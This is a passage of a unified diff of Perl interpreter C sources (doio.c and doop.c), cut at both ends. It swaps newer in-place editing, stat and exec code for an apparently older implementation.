3: file mode of the original file - 4: pid of the process we opened at, to prevent doing the renaming - etc in both the child and the parent after a fork - -If we have useful inode/device ids in stat_t we also keep: - 5: a stat of the original current working directory - -If we have unlinkat(), renameat(), fchmodat(), dirfd() we also keep: - 6: the DIR * for the current directory when we open the file, stored as an IV - */ - -static const MGVTBL argvout_vtbl = - { - NULL, /* svt_get */ - NULL, /* svt_set */ - NULL, /* svt_len */ - NULL, /* svt_clear */ - S_argvout_free, /* svt_free */ - NULL, /* svt_copy */ - S_argvout_dup, /* svt_dup */ - NULL /* svt_local */ - }; - PerlIO * Perl_nextargv(pTHX_ GV *gv, bool nomagicopen) { @@ -1265,19 +830,21 @@ Perl_nextargv(pTHX_ GV *gv, bool nomagicopen) SvREFCNT_inc_simple_NN(PL_defoutgv)); } } - - { - IO * const io = GvIOp(PL_argvoutgv); - if (io && IoIFP(io) && old_out_name) { - do_close(PL_argvoutgv, FALSE); - } + if (PL_filemode & (S_ISUID|S_ISGID)) { + PerlIO_flush(IoIFP(GvIOn(PL_argvoutgv))); /* chmod must follow last write */ +#ifdef HAS_FCHMOD + if (PL_lastfd != -1) + (void)fchmod(PL_lastfd,PL_filemode); +#else + (void)PerlLIO_chmod(PL_oldname,PL_filemode); +#endif } - PL_lastfd = -1; PL_filemode = 0; if (!GvAV(gv)) return NULL; while (av_tindex(GvAV(gv)) >= 0) { + Stat_t statbuf; STRLEN oldlen; SV *const sv = av_shift(GvAV(gv)); SAVEFREESV(sv); @@ -1294,24 +861,24 @@ Perl_nextargv(pTHX_ GV *gv, bool nomagicopen) } } else { - Stat_t statbuf; + { + IO * const io = GvIOp(PL_argvoutgv); + if (io && IoIFP(io) && old_out_name && !io_close(io, PL_argvoutgv, FALSE, FALSE)) { + Perl_croak(aTHX_ "Failed to close in-place edit file %" + SVf ": %s\n", old_out_name, Strerror(errno)); + } + } /* This very long block ends with return IoIFP(GvIOp(gv)); Both this block and the block above fall through on open failure to the warning code, and then the while loop above tries the next entry. */ - if (do_open_raw(gv, PL_oldname, oldlen, O_RDONLY, 0, &statbuf)) { + if (do_open_raw(gv, PL_oldname, oldlen, O_RDONLY, 0)) { #ifndef FLEXFILENAMES int filedev; int fileino; -#endif -#ifdef ARGV_USE_ATFUNCTIONS - DIR *curdir; #endif Uid_t fileuid; Gid_t filegid; - AV *magic_av = NULL; - SV *temp_name_sv = NULL; - MAGIC *mg; TAINT_PROPER("inplace open"); if (oldlen == 1 && *PL_oldname == '-') { @@ -1320,12 +887,12 @@ Perl_nextargv(pTHX_ GV *gv, bool nomagicopen) return IoIFP(GvIOp(gv)); } #ifndef FLEXFILENAMES - filedev = statbuf.st_dev; - fileino = statbuf.st_ino; + filedev = PL_statbuf.st_dev; + fileino = PL_statbuf.st_ino; #endif - PL_filemode = statbuf.st_mode; - fileuid = statbuf.st_uid; - filegid = statbuf.st_gid; + PL_filemode = PL_statbuf.st_mode; + fileuid = PL_statbuf.st_uid; + filegid = PL_statbuf.st_gid; if (!S_ISREG(PL_filemode)) { Perl_ck_warner_d(aTHX_ packWARN(WARN_INPLACE), "Can't do inplace edit: %s is not a regular file", @@ -1333,7 +900,6 @@ Perl_nextargv(pTHX_ GV *gv, bool nomagicopen) do_close(gv,FALSE); continue; } - magic_av = newAV(); if (*PL_inplace && strNE(PL_inplace, "*")) { const char *star = strchr(PL_inplace, '*'); if (star) { @@ -1351,9 +917,9 @@ Perl_nextargv(pTHX_ GV *gv, bool nomagicopen) sv_catpv(sv,PL_inplace); } #ifndef FLEXFILENAMES - if ((PerlLIO_stat(SvPVX_const(sv),&statbuf) >= 0 - && statbuf.st_dev == filedev - && statbuf.st_ino == fileino) + if ((PerlLIO_stat(SvPVX_const(sv),&PL_statbuf) >= 0 + && PL_statbuf.st_dev == filedev + && PL_statbuf.st_ino == fileino) #ifdef DJGPP || ((_djstat_fail_bits & _STFAIL_TRUENAME)!=0) #endif @@ -1363,45 +929,71 @@ Perl_nextargv(pTHX_ GV *gv, bool nomagicopen) "Can't do inplace edit: %" SVf " would not be unique", SVfARG(sv)); - goto cleanup_argv; + do_close(gv,FALSE); + continue; + } +#endif +#ifdef HAS_RENAME +#if !defined(DOSISH) && !defined(__CYGWIN__) + if (PerlLIO_rename(PL_oldname,SvPVX_const(sv)) < 0) { + Perl_ck_warner_d(aTHX_ packWARN(WARN_INPLACE), + "Can't rename %s to %" SVf + ": %s, skipping file", + PL_oldname, SVfARG(sv), + Strerror(errno)); + do_close(gv,FALSE); + continue; + } +#else + do_close(gv,FALSE); + (void)PerlLIO_unlink(SvPVX_const(sv)); + (void)PerlLIO_rename(PL_oldname,SvPVX_const(sv)); + do_open_raw(gv, SvPVX_const(sv), SvCUR(sv), O_RDONLY, 0); +#endif /* DOSISH */ +#else + (void)UNLINK(SvPVX_const(sv)); + if (link(PL_oldname,SvPVX_const(sv)) < 0) { + Perl_ck_warner_d(aTHX_ packWARN(WARN_INPLACE), + "Can't rename %s to %" SVf ": %s, skipping file", + PL_oldname, SVfARG(sv), Strerror(errno) ); + do_close(gv,FALSE); + continue; + } + (void)UNLINK(PL_oldname); +#endif + } + else { +#if !defined(DOSISH) && !defined(__amigaos4__) +# ifndef VMS /* Don't delete; use automatic file versioning */ + if (UNLINK(PL_oldname) < 0) { + Perl_ck_warner_d(aTHX_ packWARN(WARN_INPLACE), + "Can't remove %s: %s, skipping file", + PL_oldname, Strerror(errno) ); + do_close(gv,FALSE); + continue; } +# endif +#else + Perl_croak(aTHX_ "Can't do inplace edit without backup"); #endif - av_store(magic_av, ARGVMG_BACKUP_NAME, newSVsv(sv)); } sv_setpvn(sv,PL_oldname,oldlen); SETERRNO(0,0); /* in case sprintf set errno */ - temp_name_sv = newSV(0); - if (!S_openindirtemp(aTHX_ PL_argvoutgv, GvSV(gv), temp_name_sv)) { - SvREFCNT_dec(temp_name_sv); - /* diag_listed_as: Can't do inplace edit on %s: %s */ - Perl_ck_warner_d(aTHX_ packWARN(WARN_INPLACE), "Can't do inplace edit on %s: Cannot make temp name: %s", - PL_oldname, Strerror(errno) ); -#ifndef FLEXFILENAMES - cleanup_argv: + if (!Perl_do_open_raw(aTHX_ PL_argvoutgv, SvPVX_const(sv), + SvCUR(sv), +#ifdef VMS + O_WRONLY|O_CREAT|O_TRUNC, 0 +#else + O_WRONLY|O_CREAT|OPEN_EXCL, 0600 #endif - do_close(gv,FALSE); - SvREFCNT_dec(magic_av); - continue; + )) { + Perl_ck_warner_d(aTHX_ packWARN(WARN_INPLACE), "Can't do inplace edit on %s: %s", + PL_oldname, Strerror(errno) ); + do_close(gv,FALSE); + continue; } - av_store(magic_av, ARGVMG_TEMP_NAME, temp_name_sv); - av_store(magic_av, ARGVMG_ORIG_NAME, newSVsv(sv)); - av_store(magic_av, ARGVMG_ORIG_MODE, newSVuv(PL_filemode)); - av_store(magic_av, ARGVMG_ORIG_PID, newSViv((IV)PerlProc_getpid())); -#if defined(ARGV_USE_ATFUNCTIONS) - curdir = opendir("."); - av_store(magic_av, ARGVMG_ORIG_DIRP, newSViv(PTR2IV(curdir))); -#elif defined(ARGV_USE_STAT_INO) - if (PerlLIO_stat(".", &statbuf) >= 0) { - av_store(magic_av, ARGVMG_ORIG_CWD_STAT, - newSVpvn((char *)&statbuf, sizeof(statbuf))); - } -#endif setdefout(PL_argvoutgv); - sv_setsv(GvSVn(PL_argvoutgv), temp_name_sv); - mg = sv_magicext((SV*)GvIOp(PL_argvoutgv), (SV*)magic_av, PERL_MAGIC_uvar, &argvout_vtbl, NULL, 0); - mg->mg_flags |= MGf_DUP; - SvREFCNT_dec(magic_av); PL_lastfd = PerlIO_fileno(IoIFP(GvIOp(PL_argvoutgv))); if (PL_lastfd >= 0) { (void)PerlLIO_fstat(PL_lastfd,&statbuf); @@ -1414,8 +1006,10 @@ Perl_nextargv(pTHX_ GV *gv, bool nomagicopen) /* XXX silently ignore failures */ #ifdef HAS_FCHOWN PERL_UNUSED_RESULT(fchown(PL_lastfd,fileuid,filegid)); -#elif defined(HAS_CHOWN) +#else +#ifdef HAS_CHOWN PERL_UNUSED_RESULT(PerlLIO_chown(PL_oldname,fileuid,filegid)); +#endif #endif } } @@ -1425,7 +1019,6 @@ Perl_nextargv(pTHX_ GV *gv, bool nomagicopen) if (ckWARN_d(WARN_INPLACE)) { const int eno = errno; - Stat_t statbuf; if (PerlLIO_stat(PL_oldname, &statbuf) >= 0 && !S_ISREG(statbuf.st_mode)) { Perl_warner(aTHX_ packWARN(WARN_INPLACE), @@ -1441,6 +1034,17 @@ Perl_nextargv(pTHX_ GV *gv, bool nomagicopen) if (io && (IoFLAGS(io) & IOf_ARGV)) IoFLAGS(io) |= IOf_START; if (PL_inplace) { + if (old_out_name) { + IO * const io = GvIOp(PL_argvoutgv); + if (io && IoIFP(io) && !io_close(io, PL_argvoutgv, FALSE, FALSE)) { + Perl_croak(aTHX_ "Failed to close in-place edit file %" SVf ": %s\n", + old_out_name, Strerror(errno)); + } + } + else { + /* maybe this is no longer wanted */ + (void)do_close(PL_argvoutgv,FALSE); + } if (io && (IoFLAGS(io) & IOf_ARGV) && PL_argvout_stack && AvFILLp(PL_argvout_stack) >= 0) { @@ -1454,79 +1058,12 @@ Perl_nextargv(pTHX_ GV *gv, bool nomagicopen) return NULL; } -#ifdef ARGV_USE_ATFUNCTIONS -# if defined(__FreeBSD__) - -/* FreeBSD 11 renameat() mis-behaves strangely with absolute paths in cases where the - * equivalent rename() succeeds - */ -static int -S_my_renameat(int olddfd, const char *oldpath, int newdfd, const char *newpath) { - /* this is intended only for use in Perl_do_close() */ - assert(olddfd == newdfd); - assert(PERL_FILE_IS_ABSOLUTE(oldpath) == PERL_FILE_IS_ABSOLUTE(newpath)); - if (PERL_FILE_IS_ABSOLUTE(oldpath)) { - return PerlLIO_rename(oldpath, newpath); - } - else { - return renameat(olddfd, oldpath, newdfd, newpath); - } -} - -# else -# define S_my_renameat(dh1, pv1, dh2, pv2) renameat((dh1), (pv1), (dh2), (pv2)) -# endif /* if defined(__FreeBSD__) */ -#endif - -static bool -S_dir_unchanged(pTHX_ const char *orig_pv, MAGIC *mg) { - Stat_t statbuf; - -#ifdef ARGV_USE_STAT_INO - SV **stat_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_CWD_STAT, FALSE); - Stat_t *orig_cwd_stat = stat_psv && *stat_psv ? (Stat_t *)SvPVX(*stat_psv) : NULL; - - /* if the path is absolute the possible moving of cwd (which the file - might be in) isn't our problem. - This code tries to be reasonably balanced about detecting a changed - CWD, if we have the information needed to check that curdir has changed, we - check it - */ - if (!PERL_FILE_IS_ABSOLUTE(orig_pv) - && orig_cwd_stat - && PerlLIO_stat(".", &statbuf) >= 0 - && ( statbuf.st_dev != orig_cwd_stat->st_dev - || statbuf.st_ino != orig_cwd_stat->st_ino)) { - Perl_croak(aTHX_ "Cannot complete in-place edit of %s: %s", - orig_pv, "Current directory has changed"); - } -#else - SV **temp_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_TEMP_NAME, FALSE); - - /* Some platforms don't have useful st_ino etc, so just - check we can see the work file. - */ - if (!PERL_FILE_IS_ABSOLUTE(orig_pv) - && PerlLIO_stat(SvPVX(*temp_psv), &statbuf) < 0) { - Perl_croak(aTHX_ "Cannot complete in-place edit of %s: %s", - orig_pv, - "Work file is missing - did you change directory?"); - } -#endif - - return TRUE; -} - -#define dir_unchanged(orig_psv, mg) \ - S_dir_unchanged(aTHX_ (orig_psv), (mg)) - /* explicit renamed to avoid C++ conflict -- kja */ bool Perl_do_close(pTHX_ GV *gv, bool not_implicit) { bool retval; IO *io; - MAGIC *mg; if (!gv) gv = PL_argvgv; @@ -1543,180 +1080,7 @@ Perl_do_close(pTHX_ GV *gv, bool not_implicit) } return FALSE; } - if ((mg = mg_findext((SV*)io, PERL_MAGIC_uvar, &argvout_vtbl)) - && mg->mg_obj) { - /* handle to an in-place edit work file */ - SV **back_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_BACKUP_NAME, FALSE); - SV **temp_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_TEMP_NAME, FALSE); - /* PL_oldname may have been modified by a nested ARGV use at this point */ - SV **orig_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_NAME, FALSE); - SV **mode_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_MODE, FALSE); - SV **pid_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_PID, FALSE); -#if defined(ARGV_USE_ATFUNCTIONS) - SV **dir_psv = av_fetch((AV*)mg->mg_obj, ARGVMG_ORIG_DIRP, FALSE); - DIR *dir; - int dfd; -#endif - UV mode; - int fd; - - const char *orig_pv; - - assert(temp_psv && *temp_psv); - assert(orig_psv && *orig_psv); - assert(mode_psv && *mode_psv); - assert(pid_psv && *pid_psv); -#ifdef ARGV_USE_ATFUNCTIONS - assert(dir_psv && *dir_psv); - dir = INT2PTR(DIR *, SvIVX(*dir_psv)); - dfd = my_dirfd(dir); -#endif - - orig_pv = SvPVX(*orig_psv); - mode = SvUV(*mode_psv); - - if ((mode & (S_ISUID|S_ISGID)) != 0 - && (fd = PerlIO_fileno(IoIFP(io))) >= 0) { - (void)PerlIO_flush(IoIFP(io)); -#ifdef HAS_FCHMOD - (void)fchmod(fd, mode); -#else - (void)PerlLIO_chmod(orig_pv, mode); -#endif - } - - retval = io_close(io, NULL, not_implicit, FALSE); - - if (SvIV(*pid_psv) != (IV)PerlProc_getpid()) { - /* this is a child process, don't duplicate our rename() etc - processing below */ - goto freext; - } - - if (retval) { -#if defined(DOSISH) || defined(__CYGWIN__) - if (PL_argvgv && GvIOp(PL_argvgv) - && IoIFP(GvIOp(PL_argvgv)) - && (IoFLAGS(GvIOp(PL_argvgv)) & (IOf_ARGV|IOf_START)) == IOf_ARGV) { - do_close(PL_argvgv, FALSE); - } -#endif -#ifndef ARGV_USE_ATFUNCTIONS - if (!dir_unchanged(orig_pv, mg)) - goto abort_inplace; -#endif - if (back_psv && *back_psv) { -#if defined(HAS_LINK) && !defined(DOSISH) && !defined(__CYGWIN__) && defined(HAS_RENAME) - if ( -# ifdef ARGV_USE_ATFUNCTIONS - linkat(dfd, orig_pv, dfd, SvPVX(*back_psv), 0) < 0 && - !(UNLIKELY(NotSupported(errno)) && - dir_unchanged(orig_pv, mg) && - link(orig_pv, SvPVX(*back_psv)) == 0) -# else - link(orig_pv, SvPVX(*back_psv)) < 0 -# endif - ) -#endif - { -#ifdef HAS_RENAME - if ( -# ifdef ARGV_USE_ATFUNCTIONS - S_my_renameat(dfd, orig_pv, dfd, SvPVX(*back_psv)) < 0 && - !(UNLIKELY(NotSupported(errno)) && - dir_unchanged(orig_pv, mg) && - PerlLIO_rename(orig_pv, SvPVX(*back_psv)) == 0) -# else - PerlLIO_rename(orig_pv, SvPVX(*back_psv)) < 0 -# endif - ) { - if (!not_implicit) { -# ifdef ARGV_USE_ATFUNCTIONS - if (unlinkat(dfd, SvPVX_const(*temp_psv), 0) < 0 && - UNLIKELY(NotSupported(errno)) && - dir_unchanged(orig_pv, mg)) - (void)UNLINK(SvPVX_const(*temp_psv)); -# else - UNLINK(SvPVX(*temp_psv)); -# endif - Perl_croak(aTHX_ "Can't rename %s to %s: %s, skipping file", - SvPVX(*orig_psv), SvPVX(*back_psv), Strerror(errno)); - } - /* should we warn here? */ - goto abort_inplace; - } -#else - (void)UNLINK(SvPVX(*back_psv)); - if (link(orig_pv, SvPVX(*back_psv))) { - if (!not_implicit) { - Perl_croak(aTHX_ "Can't rename %s to %s: %s, skipping file", - SvPVX(*orig_psv), SvPVX(*back_psv), Strerror(errno)); - } - goto abort_inplace; - } - /* we need to use link() to get the temp into place too, and linK() - fails if the new link name exists */ - (void)UNLINK(orig_pv); -#endif - } - } -#if defined(DOSISH) || defined(__CYGWIN__) || !defined(HAS_RENAME) - else { - UNLINK(orig_pv); - } -#endif - if ( -#if !defined(HAS_RENAME) - link(SvPVX(*temp_psv), orig_pv) < 0 -#elif defined(ARGV_USE_ATFUNCTIONS) - S_my_renameat(dfd, SvPVX(*temp_psv), dfd, orig_pv) < 0 && - !(UNLIKELY(NotSupported(errno)) && - dir_unchanged(orig_pv, mg) && - PerlLIO_rename(SvPVX(*temp_psv), orig_pv) == 0) -#else - PerlLIO_rename(SvPVX(*temp_psv), orig_pv) < 0 -#endif - ) { - if (!not_implicit) { -#ifdef ARGV_USE_ATFUNCTIONS - if (unlinkat(dfd, SvPVX_const(*temp_psv), 0) < 0 && - NotSupported(errno)) - UNLINK(SvPVX(*temp_psv)); -#else - UNLINK(SvPVX(*temp_psv)); -#endif - /* diag_listed_as: Cannot complete in-place edit of %s: %s */ - Perl_croak(aTHX_ "Cannot complete in-place edit of %s: failed to rename work file '%s' to '%s': %s", - orig_pv, SvPVX(*temp_psv), orig_pv, Strerror(errno)); - } - abort_inplace: - UNLINK(SvPVX_const(*temp_psv)); - retval = FALSE; - } -#ifndef HAS_RENAME - UNLINK(SvPVX(*temp_psv)); -#endif - } - else { -#ifdef ARGV_USE_ATFUNCTIONS - if (unlinkat(dfd, SvPVX_const(*temp_psv), 0) && - NotSupported(errno)) - UNLINK(SvPVX_const(*temp_psv)); - -#else - UNLINK(SvPVX_const(*temp_psv)); -#endif - if (!not_implicit) { - Perl_croak(aTHX_ "Failed to close in-place work file %s: %s", - SvPVX(*temp_psv), Strerror(errno)); - } - } - freext: - mg_freeext((SV*)io, PERL_MAGIC_uvar, &argvout_vtbl); - } - else { - retval = io_close(io, NULL, not_implicit, FALSE); - } + retval = io_close(io, NULL, not_implicit, FALSE); if (not_implicit) { IoLINES(io) = 0; IoPAGE(io) = 0; @@ -1924,7 +1288,7 @@ Perl_mode_from_discipline(pTHX_ const char *s, STRLEN len) else { const char *end; fail_discipline: - end = (char *) memchr(s+1, ':', len); + end = strchr(s+1, ':'); if (!end) end = s+len; #ifndef PERLIO_LAYERS @@ -2073,11 +1437,8 @@ Perl_my_stat_flags(pTHX_ const U32 flags) if (PL_op->op_flags & OPf_REF) { gv = cGVOP_gv; do_fstat: - if (gv == PL_defgv) { - if (PL_laststatval < 0) - SETERRNO(EBADF,RMS_IFI); + if (gv == PL_defgv) return PL_laststatval; - } io = GvIO(gv); do_fstat_have_io: PL_laststype = OP_STAT; @@ -2088,7 +1449,6 @@ Perl_my_stat_flags(pTHX_ const U32 flags) int fd = PerlIO_fileno(IoIFP(io)); if (fd < 0) { /* E.g. PerlIO::scalar has no real fd. */ - SETERRNO(EBADF,RMS_IFI); return (PL_laststatval = -1); } else { return (PL_laststatval = PerlLIO_fstat(fd, &PL_statcache)); @@ -2099,7 +1459,6 @@ Perl_my_stat_flags(pTHX_ const U32 flags) } PL_laststatval = -1; report_evil_fh(gv); - SETERRNO(EBADF,RMS_IFI); return -1; } else if ((PL_op->op_private & (OPpFT_STACKED|OPpFT_AFTER_t)) @@ -2107,7 +1466,7 @@ Perl_my_stat_flags(pTHX_ const U32 flags) return PL_laststatval; else { SV* const sv = TOPs; - const char *s, *d; + const char *s; STRLEN len; if ((gv = MAYBE_DEREF_GV_flags(sv,flags))) { goto do_fstat; @@ -2121,18 +1480,13 @@ Perl_my_stat_flags(pTHX_ const U32 flags) s = SvPV_flags_const(sv, len, flags); PL_statgv = NULL; sv_setpvn(PL_statname, s, len); - d = SvPVX_const(PL_statname); /* s now NUL-terminated */ + s = SvPVX_const(PL_statname); /* s now NUL-terminated */ PL_laststype = OP_STAT; - if (!IS_SAFE_PATHNAME(s, len, OP_NAME(PL_op))) { - PL_laststatval = -1; - } - else { - PL_laststatval = PerlLIO_stat(d, &PL_statcache); - } + PL_laststatval = PerlLIO_stat(s, &PL_statcache); if (PL_laststatval < 0 && ckWARN(WARN_NEWLINE) && should_warn_nl(s)) { - GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral); /* PL_warn_nl is constant */ + GCC_DIAG_IGNORE(-Wformat-nonliteral); /* PL_warn_nl is constant */ Perl_warner(aTHX_ packWARN(WARN_NEWLINE), PL_warn_nl, "stat"); - GCC_DIAG_RESTORE_STMT; + GCC_DIAG_RESTORE; } return PL_laststatval; } @@ -2145,15 +1499,12 @@ Perl_my_lstat_flags(pTHX_ const U32 flags) static const char* const no_prev_lstat = "The stat preceding -l _ wasn't an lstat"; dSP; const char *file; - STRLEN len; SV* const sv = TOPs; bool isio = FALSE; if (PL_op->op_flags & OPf_REF) { if (cGVOP_gv == PL_defgv) { if (PL_laststype != OP_LSTAT) Perl_croak(aTHX_ "%s", no_prev_lstat); - if (PL_laststatval < 0) - SETERRNO(EBADF,RMS_IFI); return PL_laststatval; } PL_laststatval = -1; @@ -2163,7 +1514,6 @@ Perl_my_lstat_flags(pTHX_ const U32 flags) "Use of -l on filehandle %" HEKf, HEKfARG(GvENAME_HEK(cGVOP_gv))); } - SETERRNO(EBADF,RMS_IFI); return -1; } if ((PL_op->op_private & (OPpFT_STACKED|OPpFT_AFTER_t)) @@ -2192,18 +1542,13 @@ Perl_my_lstat_flags(pTHX_ const U32 flags) HEKfARG(GvENAME_HEK((const GV *) (SvROK(sv) ? SvRV(sv) : sv)))); } - file = SvPV_flags_const(sv, len, flags); + file = SvPV_flags_const_nolen(sv, flags); sv_setpv(PL_statname,file); - if (!IS_SAFE_PATHNAME(file, len, OP_NAME(PL_op))) { - PL_laststatval = -1; - } - else { - PL_laststatval = PerlLIO_lstat(file,&PL_statcache); - } + PL_laststatval = PerlLIO_lstat(file,&PL_statcache); if (PL_laststatval < 0 && ckWARN(WARN_NEWLINE) && should_warn_nl(file)) { - GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral); /* PL_warn_nl is constant */ + GCC_DIAG_IGNORE(-Wformat-nonliteral); /* PL_warn_nl is constant */ Perl_warner(aTHX_ packWARN(WARN_NEWLINE), PL_warn_nl, "lstat"); - GCC_DIAG_RESTORE_STMT; + GCC_DIAG_RESTORE; } return PL_laststatval; } @@ -2233,54 +1578,54 @@ Perl_do_aexec5(pTHX_ SV *really, SV **mark, SV **sp, #if defined(__SYMBIAN32__) || defined(__LIBCATAMOUNT__) Perl_croak(aTHX_ "exec? I'm not *that* kind of operating system"); #else - assert(sp >= mark); - ENTER; - { - const char **argv, **a; + if (sp > mark) { + const char **a; const char *tmps = NULL; - Newx(argv, sp - mark + 1, const char*); - SAVEFREEPV(argv); - a = argv; + Newx(PL_Argv, sp - mark + 1, const char*); + a = PL_Argv; while (++mark <= sp) { - if (*mark) { - char *arg = savepv(SvPV_nolen_const(*mark)); - SAVEFREEPV(arg); - *a++ = arg; - } else + if (*mark) + *a++ = SvPV_nolen_const(*mark); + else *a++ = ""; } *a = NULL; - if (really) { - tmps = savepv(SvPV_nolen_const(really)); - SAVEFREEPV(tmps); - } - if ((!really && argv[0] && *argv[0] != '/') || + if (really) + tmps = SvPV_nolen_const(really); + if ((!really && *PL_Argv[0] != '/') || (really && *tmps != '/')) /* will execvp use PATH? */ TAINT_ENV(); /* testing IFS here is overkill, probably */ PERL_FPU_PRE_EXEC if (really && *tmps) { - PerlProc_execvp(tmps,EXEC_ARGV_CAST(argv)); - } else if (argv[0]) { - PerlProc_execvp(argv[0],EXEC_ARGV_CAST(argv)); - } else { - SETERRNO(ENOENT,RMS_FNF); - } + PerlProc_execvp(tmps,EXEC_ARGV_CAST(PL_Argv)); + } else { + PerlProc_execvp(PL_Argv[0],EXEC_ARGV_CAST(PL_Argv)); + } PERL_FPU_POST_EXEC - S_exec_failed(aTHX_ (really ? tmps : argv[0] ? argv[0] : ""), fd, do_report); + S_exec_failed(aTHX_ (really ? tmps : PL_Argv[0]), fd, do_report); } - LEAVE; + do_execfree(); #endif return FALSE; } +void +Perl_do_execfree(pTHX) +{ + Safefree(PL_Argv); + PL_Argv = NULL; + Safefree(PL_Cmd); + PL_Cmd = NULL; +} + #ifdef PERL_DEFAULT_DO_EXEC3_IMPLEMENTATION bool Perl_do_exec3(pTHX_ const char *incmd, int fd, int do_report) { dVAR; - const char **argv, **a; + const char **a; char *s; char *buf; char *cmd; @@ -2289,9 +1634,7 @@ Perl_do_exec3(pTHX_ const char *incmd, int fd, int do_report) PERL_ARGS_ASSERT_DO_EXEC3; - ENTER; Newx(buf, cmdlen, char); - SAVEFREEPV(buf); cmd = buf; memcpy(cmd, incmd, cmdlen); @@ -2304,7 +1647,7 @@ Perl_do_exec3(pTHX_ const char *incmd, int fd, int do_report) { char flags[PERL_FLAGS_MAX]; if (strnEQ(cmd,PL_cshname,PL_cshlen) && - strBEGINs(cmd+PL_cshlen," -c")) { + strEQs(cmd+PL_cshlen," -c")) { my_strlcpy(flags, "-c", PERL_FLAGS_MAX); s = cmd+PL_cshlen+3; if (*s == 'f') { @@ -2327,7 +1670,8 @@ Perl_do_exec3(pTHX_ const char *incmd, int fd, int do_report) PERL_FPU_POST_EXEC *s = '\''; S_exec_failed(aTHX_ PL_cshname, fd, do_report); - goto leave; + Safefree(buf); + return FALSE; } } } @@ -2339,7 +1683,7 @@ Perl_do_exec3(pTHX_ const char *incmd, int fd, int do_report) if (*cmd == '.' && isSPACE(cmd[1])) goto doshell; - if (strBEGINs(cmd,"exec") && isSPACE(cmd[4])) + if (strEQs(cmd,"exec") && isSPACE(cmd[4])) goto doshell; s = cmd; @@ -2374,16 +1718,15 @@ Perl_do_exec3(pTHX_ const char *incmd, int fd, int do_report) PerlProc_execl(PL_sh_path, "sh", "-c", cmd, (char *)NULL); PERL_FPU_POST_EXEC S_exec_failed(aTHX_ PL_sh_path, fd, do_report); - goto leave; + Safefree(buf); + return FALSE; } } - Newx(argv, (s - cmd) / 2 + 2, const char*); - SAVEFREEPV(argv); - cmd = savepvn(cmd, s-cmd); - SAVEFREEPV(cmd); - a = argv; - for (s = cmd; *s;) { + Newx(PL_Argv, (s - cmd) / 2 + 2, const char*); + PL_Cmd = savepvn(cmd, s-cmd); + a = PL_Argv; + for (s = PL_Cmd; *s;) { while (isSPACE(*s)) s++; if (*s) @@ -2394,16 +1737,18 @@ Perl_do_exec3(pTHX_ const char *incmd, int fd, int do_report) *s++ = '\0'; } *a = NULL; - if (argv[0]) { + if (PL_Argv[0]) { PERL_FPU_PRE_EXEC - PerlProc_execvp(argv[0],EXEC_ARGV_CAST(argv)); + PerlProc_execvp(PL_Argv[0],EXEC_ARGV_CAST(PL_Argv)); PERL_FPU_POST_EXEC - if (errno == ENOEXEC) /* for system V NIH syndrome */ + if (errno == ENOEXEC) { /* for system V NIH syndrome */ + do_execfree(); goto doshell; - S_exec_failed(aTHX_ argv[0], fd, do_report); + } + S_exec_failed(aTHX_ PL_Argv[0], fd, do_report); } -leave: - LEAVE; + do_execfree(); + Safefree(buf); return FALSE; } @@ -3234,29 +2579,33 @@ Perl_vms_start_glob fp = Perl_vms_start_glob(aTHX_ tmpglob, io); #else /* !VMS */ -# ifdef DOSISH -# if defined(OS2) +#ifdef DOSISH +#ifdef OS2 sv_setpv(tmpcmd, "for a in "); sv_catsv(tmpcmd, tmpglob); sv_catpv(tmpcmd, "; do echo \"$a\\0\\c\"; done |"); -# elif defined(DJGPP) +#else +#ifdef DJGPP sv_setpv(tmpcmd, "/dev/dosglob/"); /* File System Extension */ sv_catsv(tmpcmd, tmpglob); -# else +#else sv_setpv(tmpcmd, "perlglob "); sv_catsv(tmpcmd, tmpglob); sv_catpv(tmpcmd, " |"); -# endif -# elif defined(CSH) +#endif /* !DJGPP */ +#endif /* !OS2 */ +#else /* !DOSISH */ +#if defined(CSH) sv_setpvn(tmpcmd, PL_cshname, PL_cshlen); sv_catpv(tmpcmd, " -cf 'set nonomatch; glob "); sv_catsv(tmpcmd, tmpglob); sv_catpv(tmpcmd, "' 2>/dev/null |"); -# else +#else sv_setpv(tmpcmd, "echo "); sv_catsv(tmpcmd, tmpglob); sv_catpv(tmpcmd, "|tr -s ' \t\f\r' '\\n\\n\\n\\n'|"); -# endif /* !DOSISH && !CSH */ +#endif /* !CSH */ +#endif /* !DOSISH */ { SV ** const svp = hv_fetchs(GvHVn(PL_envgv), "LS_COLORS", 0); if (svp && *svp) diff --git a/doop.c b/doop.c index 54e35f10a68f..18bc067d937c 100644 --- a/doop.c +++ b/doop.c @@ -27,22 +27,14 @@ #include #endif - -/* Helper function for do_trans(). - * Handles non-utf8 cases(*) not involving the /c, /d, /s flags, - * and where search and replacement charlists aren't identical. - * (*) i.e. where the search and replacement charlists are non-utf8. sv may - * or may not be utf8. - */ - -STATIC Size_t +STATIC I32 S_do_trans_simple(pTHX_ SV * const sv) { - Size_t matches = 0; + I32 matches = 0; STRLEN len; U8 *s = (U8*)SvPV_nomg(sv,len); U8 * const send = s+len; - const OPtrans_map * const tbl = (OPtrans_map*)cPVOP->op_pv; + const short * const tbl = (short*)cPVOP->op_pv; PERL_ARGS_ASSERT_DO_TRANS_SIMPLE; @@ -52,7 +44,7 @@ S_do_trans_simple(pTHX_ SV * const sv) /* First, take care of non-UTF-8 input strings, because they're easy */ if (!SvUTF8(sv)) { while (s < send) { - const short ch = tbl->map[*s]; + const I32 ch = tbl[*s]; if (ch >= 0) { matches++; *s = (U8)ch; @@ -62,7 +54,7 @@ S_do_trans_simple(pTHX_ SV * const sv) SvSETMAGIC(sv); } else { - const bool grows = cBOOL(PL_op->op_private & OPpTRANS_GROWS); + const I32 grows = PL_op->op_private & OPpTRANS_GROWS; U8 *d; U8 *dstart; @@ -74,13 +66,13 @@ S_do_trans_simple(pTHX_ SV * const sv) dstart = d; while (s < send) { STRLEN ulen; - short ch; + I32 ch; /* Need to check this, otherwise 128..255 won't match */ const UV c = utf8n_to_uvchr(s, send - s, &ulen, UTF8_ALLOW_DEFAULT); - if (c < 0x100 && (ch = tbl->map[c]) >= 0) { + if (c < 0x100 && (ch = 